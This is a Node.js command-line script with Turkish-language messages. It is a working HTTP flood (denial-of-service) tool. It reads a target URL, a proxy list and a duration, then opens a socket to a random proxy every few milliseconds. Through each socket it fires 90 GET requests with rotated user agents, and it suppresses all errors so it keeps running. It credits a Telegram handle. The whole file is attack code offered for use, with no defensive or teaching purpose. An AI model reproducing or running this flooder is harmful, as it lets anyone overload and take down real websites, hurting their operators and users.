process.on('uncaughtException', function() {}); process.on('unhandledRejection', function() {}); const net = require('net'); const fs = require('fs'); const url = require('url'); var path = require("path"); const execSync = require('child_process').execSync; try { var colors = require('colors'); } catch (err) { console.log('\x1b[36mGereksinimleri\x1b[37m yüklüyor'); execSync('npm install colors'); console.log('Tamam.'); process.exit(); } var fileName = __filename; var file = path.basename(fileName); try { var proxies = fs.readFileSync(process.argv[3], 'UTF-8').toString().replace(/\r/g, '').split('\n'); } catch (err) { if (err.code !== 'ENOENT') throw err; console.log('\x1b[31m Hata\x1b[37m: Proxy listesi bulunamadı.'); console.log("\x1b[36m Kullanım\x1b[37m: node " + file + " "); process.exit(); } // UA.txt dosyasından user-agent'leri yükle let UAs; try { UAs = fs.readFileSync('ua.txt', 'UTF-8').toString().split('\n').filter(Boolean); // Boş satırları filtrele } catch (err) { console.log('\x1b[31m Hata\x1b[37m: User agent listesi bulunamadı.'); process.exit(); } var target = process.argv[2]; var parsed = url.parse(target); setTimeout(() => { process.exit(7); }, process.argv[4] * 1000); setInterval(function() { var proxy = proxies[Math.floor(Math.random() * proxies.length)]; proxy = proxy.split(':'); var socket = net.connect(proxy[1], proxy[0]); socket.setKeepAlive(true, 5000); socket.setTimeout(5000); socket.once('error', err => { // Bağlantı hatalarını sessizce işle }); socket.once('disconnect', () => { console.log('Bağlantı kesildi'); }); socket.once('data', data => { // Bağlantı başarılı olursa işlem yap }); for (let j = 0; j < 90; j++) { const randomUA = UAs[Math.floor(Math.random() * UAs.length)]; socket.write('GET ' + target + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nuser-agent: ' + randomUA + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n'); } socket.on('data', function() { setTimeout(function() { socket.destroy(); return delete socket; }, 130000); }); }, 3); if (!process.argv[4]) { console.log("\x1b[31m Hata\x1b[37m: süre belirtin"); console.log("\x1b[36m Kullanım\x1b[37m: node " + file + " "); process.exit(); } if (isNaN(process.argv[4])) { console.log("\x1b[31m Hata\x1b[37m: geçerli bir süre girin"); console.log("\x1b[36m Kullanım\x1b[37m: node " + file + " "); process.exit(); } if (!process.argv[2] || (!process.argv[2].startsWith('http://') && !process.argv[2].startsWith('https://'))) { console.log("\x1b[31m Hata\x1b[37m: geçerli bir hedef girin"); console.log("\x1b[36m Kullanım\x1b[37m: node " + file + " "); process.exit(); } console.log("Script TG: qingshu321".rainbow); console.log("\x1b[36mHedef\x1b[37m %s | " + "\x1b[35m" + parsed.host + "\x1b[37m", process.argv[2]); console.log("Hedef başarıyla gönderildi, bu testin süresi %s saniye", process.argv[4]);